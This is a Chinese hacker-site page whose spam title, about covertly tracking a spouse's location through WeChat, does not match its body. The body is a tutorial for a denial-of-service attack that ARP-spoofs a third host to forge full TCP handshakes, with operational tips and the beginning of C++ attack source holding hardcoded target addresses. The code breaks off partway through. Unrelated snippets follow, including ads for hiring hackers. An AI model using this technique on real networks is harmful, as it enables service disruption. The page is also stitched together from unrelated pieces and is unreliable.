老婆微信聊天同步接收定位老公位置不被发现

访客3年前黑客资讯1021

从某种意义上说,如果能够制造TCP伪连接,那么D.o.S也就比较容易实现了。以前LionD8就曾经用这个思路做出了一个新型D.o.S,而今天,我用的也是这个思路。但是,如果直接伪造TCP三次握手而不作其他任何处理,那却是不行的。因为,当攻击的目标主机接收到我们发过去的伪造的SYN包后会发回一个SYN+ACK包(也就是第二次握手)。而当我们的系统收到这个SYN+ACK包后,由于系统内并没有发起真正的TCP连接,因此系统会发回一个RST包,这个包将使目标主机重置连接。这样,这个伪连接就建立失败了。
    要解决这个问题,办法有不少,而我这里要用的 *** 就是ARP欺骗。首先,我们要对目标主机进行ARP欺骗,让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起TCP伪连接了。这样一来,即使目标主机返回一个SYN+ACK包,这个包也不会进入到我们的系统(因为这个包的目的IP不会是我们而应该是我们伪装的那台主机的IP),这样,我们的系统也不会向目标主机发送RST包了。
    打个比方,假设我们是主机A,现在我想要攻击主机B。首先,我先伪装主机C对B进行ARP欺骗(以C的IP地址和A的MAC地址构造ARP应答包发送到B),这样,B的ARP缓存中就会记录下C的IP对应A的MAC地址。然后,我们再以C的IP为源IP构造SYN数据包,向B发起TCP伪连接。当B收到这个SYN包之后,它会构造一个SYN+ACK包发往C。但是,由于此时在B的ARP缓存中记录着:C的IP对应A的MAC地址,因此,这个SYN+ACK包实际上被发送到了A。虽然,这个包将被A的系统所丢弃(因为这个包的目的IP是C的IP而不是A的IP,所以A的系统将会丢弃这个包),但是,我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个SYN+ACK包之后,我们需要再次伪装C向B发回一个ACK包完成第三次握手。这样,TCP初始化连接的三次握手都完成了,我们的伪连接也成功建立了!
    伪连接建立之后,我们还可以继续向目标主机发送数据,来保证TCP连接的存活。
    这里,有几个需要注意的问题:首先,为了保证攻击过程中目标主机的ARP缓存不被更改,我们需要持续不断的对其进行ARP欺骗;第二,为了防止在攻击过程中我们伪装的主机向目标主机发起通信,刷新目标主机的ARP缓存,对我们的攻击造成影响,我们还可以对伪装主机也同时进行ARP欺骗,以增加攻击成功的几率。
    好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。

// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "winsock2.h"
#include "Packet32.h"
#include "stdio.h"

#pragma comment(lib, "packet")
#pragma comment(lib, "ws2_32")

//下面几个宏是测试用的主机的IP和MAC
#define SIMULATE_MAC "0011111d735a"     //伪装主机的MAC地址
#define TARGET_MAC "001111c6f7fe"       //目的主机的MAC地址
#define LOCAL_MAC "00e06e41508f"        //本机MAC地址
#define TARGET_IP "211.83.97.24"        //目的主机的IP
#define SIMULATE_IP "211.83.97.16"      //伪装主机的IP

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

struct ET_HEADER    //以太网头部
{
    unsigned char   eh_dst[6];  
    unsigned char   eh_src[6];
    unsigned short  eh_type;
};

struct ARP_HEADER   //ARP头部
{

相关文章

房产知识:离职可以提取公积金吗离职后提

相信现在有很多的朋友们对于离职可以提取公积金吗离职后提取公积金有何要求都想要了解吧,那么今天小编就来给大家针对离职可以提取公积金吗离职后提取公积金有何要求进行一个介绍吧,希望小编介绍的内容能够...

死黑客虾,黑客软件88hack,有没有交流黑客技术的网站

东西集剖析对子域名进行含糊勘探,能够运用常见扫描器进行轻扫描。 确认其服务器类型,运用脚本类型,常用cms。 发现一个文件包括,经过phpinfo获取网站跟目录及ip,经过检测发现该体系有恣意文件读...

到哪里找黑客团伙-增长黑客有用吗(增长黑客这本书讲的是什么)

到哪里找黑客团伙-增长黑客有用吗(增长黑客这本书讲的是什么)

到哪里找黑客团伙相关问题 零基础学黑客如何入门相关问题 如何追踪黑客攻击 我突然变成了一台手机(手机突然4g网络变成2g)...

单相思什么意思(单相思和暗恋有什么区别)

单相思什么意思(单相思和暗恋有什么区别)

爱情,美妙而又复杂;让你欢喜让你忧伤 生活不易,有我陪你;恋爱不易,由我教你 请点击右上角关注:小薇恋爱学院 什么是单相思? 单相思即单恋,是一方对另一方的一厢情愿和热爱为特点的畸形恋爱,甚至...

cpi是什么意思(cpi指数上涨意味着什么)

是一个看着你要多花几米才可以过上好日子和上一月一样的日常生活的指数值。 一个考量物价飞涨是多少的指数值 。 比如,你每一个月必须买一个吐司面包与两个苹果。 上一月:每一个吐司面包50米 ,苹果2...

微信永远封能找黑客解封吗-网警抓黑客多久能够找到

华硕路由器网络黑客查整治账户和登陆密码该怎么办 天地一级网络黑客(天地网络黑客) 怎能给网络黑客发责任 直播之灾难预言师(推测年灾祸) 网络黑客如何查询他人私人信息该怎么办...